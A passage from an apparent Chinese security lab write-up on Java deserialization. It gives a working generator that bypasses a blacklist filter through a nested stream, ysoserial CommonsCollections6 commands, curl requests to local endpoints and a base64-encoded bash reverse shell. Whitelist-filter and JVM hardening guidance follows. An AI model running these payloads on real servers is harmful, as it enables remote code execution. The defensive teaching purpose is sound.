将 CC6 的原始序列化字节作为 NestingWrapper.nestedPayload 字段的值,这样外层过滤器只看到 NestingWrapper(放行),内层 CC6 在无过滤的新 OIS 中被反序列化执行。

编写组合 Payload 生成器 NestedBypassGenerator.java:

package com.sec.exploit;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;

/**
 * 嵌套流绕过 Payload 生成器
 *
 * 利用目标 classpath 上已有的 NestingWrapper(com.vuln.deser.NestingWrapper)
 * 的嵌套反序列化行为绕过外层黑名单过滤器。
 *
 * 原理:
 *   NestingWrapper 的 readObject() 内部创建新的 ObjectInputStream 反序列化
 *   nestedPayload 字段中的数据。新 OIS 不继承外层过滤器,因此内嵌的 CC6
 *   Payload 可以自由反序列化并执行。
 *
 * 攻击机上不需要有 NestingWrapper 的 class 文件。
 *       我们直接构造其序列化字节流(手动写入 serialVersionUID、字段值等),
 *       但更简单的方式是:攻击机上也编译一份同包名同类名的 NestingWrapper。
 *       这里采用后一种方式——编译时需要靶场的 NestingWrapper 源码。
 */
public class NestedBypassGenerator {

    public static void main(String[] args) throws Exception {
        if (args.length < 2) {
            System.out.println("Usage: java NestedBypassGenerator <ysoserial_payload_file> <output_file>");
            System.out.println();
            System.out.println("Example:");
            System.out.println("  ysoserial CommonsCollections6 'id' > cc6_raw.bin");
            System.out.println("  java NestedBypassGenerator cc6_raw.bin nested_payload.txt");
            return;
        }

        // 读取 ysoserial 生成的原始 Payload(二进制序列化流)
        byte[] innerPayload;
        try (FileInputStream fis = new FileInputStream(args[0])) {
            innerPayload = fis.readAllBytes();
        }
        System.out.println("[*] 读取原始 Payload: " + innerPayload.length + " bytes");

        // 构造 NestingWrapper 实例,将原始 Payload 设入 nestedPayload 字段
        // 类名必须与靶场一致:com.vuln.deser.NestingWrapper
        Object wrapper = Class.forName("com.vuln.deser.NestingWrapper")
            .getDeclaredConstructor(byte[].class)
            .newInstance((Object) innerPayload);

        // 序列化 NestingWrapper
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        try (ObjectOutputStream oos = new ObjectOutputStream(baos)) {
            oos.writeObject(wrapper);
        }

        // 输出 Base64
        String base64 = Base64.getEncoder().encodeToString(baos.toByteArray());
        try (FileWriter fw = new FileWriter(args[1])) {
            fw.write(base64);
        }
        System.out.println("[+] 嵌套 Payload 已生成: " + args[1]);
        System.out.println("[+] 输出大小: " + base64.length() + " chars (Base64)");
    }
}

为什么攻击机上也需要编译 NestingWrapper?

Java 序列化协议会将对象的全限定类名(com.vuln.deser.NestingWrapper)和 serialVersionUID 写入序列化流。反序列化时,目标 JVM 根据流中的类名在自身 classpath 中查找对应的类。因此攻击机上编译的 NestingWrapper 必须与靶场的版本包名、类名、serialVersionUID 完全一致,否则会抛出 InvalidClassException。

编译一份与靶场相同的 NestingWrapper(我直接复制靶场的 NestingWrapper.java 源码)

mkdir -p /tmp/exploit-build/src/com/vuln/deser

cat > /tmp/exploit-build/src/com/vuln/deser/NestingWrapper.java << 'JAVAEOF'
package com.vuln.deser;

import java.io.*;

public class NestingWrapper implements Serializable {
    @Serial
    private static final long serialVersionUID = 1L;
    private byte[] nestedPayload;

    public NestingWrapper() {}
    public NestingWrapper(byte[] payload) { this.nestedPayload = payload; }

    @Serial
    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ois.defaultReadObject();
        if (this.nestedPayload != null) {
            try (ObjectInputStream innerOis = new ObjectInputStream(
                    new ByteArrayInputStream(this.nestedPayload))) {
                innerOis.readObject();
            }
        }
    }
}
JAVAEOF

编译 NestingWrapper

javac -d /tmp/exploit-build/classes \
    /tmp/exploit-build/src/com/vuln/deser/NestingWrapper.java

生成原始 CC6 Payload

~/tools/ysoserial.sh CommonsCollections6 "id > /tmp/rce_proof.txt" > /tmp/cc6_raw.bin

编译 NestedBypassGenerator(需要 NestingWrapper 在 classpath 中)

javac -cp /tmp/exploit-build/classes \
    -d /tmp/exploit-build/classes \
    NestedBypassGenerator.java

生成嵌套 Payload

java -cp /tmp/exploit-build/classes com.sec.exploit.NestedBypassGenerator \
    /tmp/cc6_raw.bin /tmp/nested_payload.txt

发送到黑名单过滤端点

curl -X POST http://127.0.0.1:8888/api/deserialize/blacklist \
    -H "Content-Type: text/plain" \
    -d @/tmp/nested_payload.txt

服务器端收到回显:

验证 RCE

ls -la /tmp/rce_proof

攻击流程全景图:

7.7 使用 Ncat 接收反弹 Shell

监听端口

ncat -lvnp 4444

Payload 使用 Bash 反弹 Shell:

echo -n 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1' | base64

替换到 ysoserial 命令中:

~/tools/ysoserial.sh CommonsCollections6 \
    "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" \
    > /tmp/reverse_shell.bin

curl -X POST http://127.0.0.1:8888/api/deserialize/unsafe \
    -H "Content-Type: text/plain" \
    -d @/tmp/reverse_payload.txt

成功反弹 shell(到这里我才想起来我应该用 docker 搭建的,纯写蒙了。。。)

八、反序列化安全加固方案

白名单过滤器的正确实现

package com.myapp.security;

import java.io.ObjectInputFilter;
import java.util.List;
import java.util.Set;

/**
 * 生产级白名单过滤器实现
 * 原则:仅允许业务需要的类,拒绝一切未知类
 */
public class StrictDeserFilter implements ObjectInputFilter {

    // 明确允许的业务类(按实际业务需求配置)
    private static final Set<String> ALLOWED_CLASSES = Set.of(
        "com.myapp.dto.UserDTO",
        "com.myapp.dto.OrderDTO",
        "com.myapp.dto.ResultWrapper"
    );

    // 允许的 JDK 基础类前缀
    private static final List<String> ALLOWED_PREFIXES = List.of(
        "java.lang.",
        "java.util.",
        "java.math."
        // 注意:不要添加 java.security.(包含 SignedObject)
        // 注意:不要添加 javax.management.(包含常见 Gadget 链组件)
    );

    // 资源限制——防御 DoS 型反序列化攻击
    private static final int MAX_DEPTH = 5;       // 对象图深度
    private static final int MAX_REFS = 100;       // 引用数量
    private static final long MAX_BYTES = 1024 * 1024;  // 1MB
    private static final int MAX_ARRAY = 10000;    // 数组长度

    @Override
    public Status checkInput(FilterInfo filterInfo) {
        // 1. 资源限制检查(优先,防止资源耗尽攻击)
        if (filterInfo.depth() > MAX_DEPTH) return Status.REJECTED;
        if (filterInfo.references() > MAX_REFS) return Status.REJECTED;
        if (filterInfo.streamBytes() > MAX_BYTES) return Status.REJECTED;
        if (filterInfo.arrayLength() > MAX_ARRAY) return Status.REJECTED;

        // 2. 类检查(serialClass 为 null 表示非类检查调用,放行)
        Class<?> clazz = filterInfo.serialClass();
        if (clazz == null) return Status.UNDECIDED;

        String className = clazz.getName();

        // 3. 精确匹配白名单
        if (ALLOWED_CLASSES.contains(className)) return Status.ALLOWED;

        // 4. 前缀匹配基础类
        for (String prefix : ALLOWED_PREFIXES) {
            if (className.startsWith(prefix)) return Status.ALLOWED;
        }

        // 5. 数组类型:检查元素类型
        if (clazz.isArray()) {
            Class<?> componentType = clazz.getComponentType();
            if (componentType.isPrimitive()) return Status.ALLOWED;
            // 非原始类型数组也需检查元素类型是否在白名单中
        }

        // 6. 默认拒绝——这是与黑名单策略的根本区别
        System.err.println("[SECURITY] 反序列化过滤器拒绝: " + className);
        return Status.REJECTED;
    }
}

全局过滤器工厂配置(防止嵌套流绕过)

package com.myapp.security;

import jakarta.annotation.PostConstruct;
import org.springframework.context.annotation.Configuration;

import java.io.ObjectInputFilter;

/**
 * 在应用启动时注册全局过滤器工厂
 * 确保所有 ObjectInputStream(包括嵌套创建的)都受到保护
 *
 * 这是防御 SignedObject 嵌套逃逸的关键措施
 */
@Configuration
public class DeserializationSecurityConfig {

    @PostConstruct
    public void configureSerialFilter() {
        ObjectInputFilter globalFilter = new StrictDeserFilter();

        // 设置 JVM 全局过滤器
        ObjectInputFilter.Config.setSerialFilter(globalFilter);

        // 设置过滤器工厂,强制所有流继承全局过滤器
        // 注意:setSerialFilterFactory 在 JVM 生命周期内只能调用一次
        ObjectInputFilter.Config.setSerialFilterFactory((current, requested) -> {
            if (requested == null) return globalFilter;
            // 合并策略:全局过滤器优先
            // merge() 在 JDK 17+ 可用,内部逻辑:
            // 先执行 globalFilter.checkInput(),若返回 UNDECIDED 则执行 requested
            return ObjectInputFilter.merge(globalFilter, requested);
        });

        System.out.println("[SECURITY] 全局反序列化过滤器和工厂已注册");
    }
}

依赖治理检查

检查项

检查命令

安全操作

Commons Collections < 3.2.2

mvn dependency:tree \| grep commons-collections

升级到 3.2.2+(InvokerTransformer 禁用序列化)

Commons Collections4 < 4.1

同上

升级到 4.1+(InvokerTransformer 禁用序列化)

Commons BeanUtils 与 CC 共存

mvn dependency:tree

评估是否可移除 BeanUtils 或 CC

H2 Database 1.4.x 用于生产

检查 pom.xml 和运行时 classpath

升级到 2.x 或移除(仅用于测试)

外部 Xalan-J 在 classpath 中

mvn dependency:tree \| grep xalan

评估是否可用 JDK 内置 XML 处理替代

启动参数含 --add-opens

检查启动脚本和 Dockerfile

移除不必要的模块开放

Jackson Databind < 2.15

检查版本

升级到最新稳定版

JVM 启动参数加固

# 生产环境推荐的 JVM 安全参数
java \
    # 全局序列化过滤器(作为最后防线,即使代码层过滤器未正确配置也生效)
    -Djdk.serialFilter="com.myapp.**;java.base/*;!*" \
    # 禁止 JNDI 远程类加载(JDK 21 默认已禁用,显式声明增加确定性)
    -Dcom.sun.jndi.rmi.object.trustURLCodebase=false \
    -Dcom.sun.jndi.ldap.object.trustURLCodebase=false \
    # 不添加任何 --add-opens(保持模块系统封装完整性)
    -jar application.jar

单独依赖 ObjectInputFilter 是不够的——正如本文所展示的,嵌套流可以绕过它,黑名单可以被穷举,未覆盖的第三方库提供新的 Sink。

有效的防御是分层的:从消除入口(不反序列化不可信数据)到过滤策略(白名单而非黑名单),从依赖治理(移除危险库)到平台加固(保持模块封装),每一层都在缩小攻击面。

九、总结

消除反序列化入口——使用 JSON、Protobuf 等不支持任意对象实例化的序列化格式替代 Java 原生序列化。

免责声明:本文所有实验均在隔离的测试环境中完成,仅用于安全研究与技术交流。请勿将文中技术用于未授权的渗透测试。未经授权对他人系统进行渗透测试属于违法行为。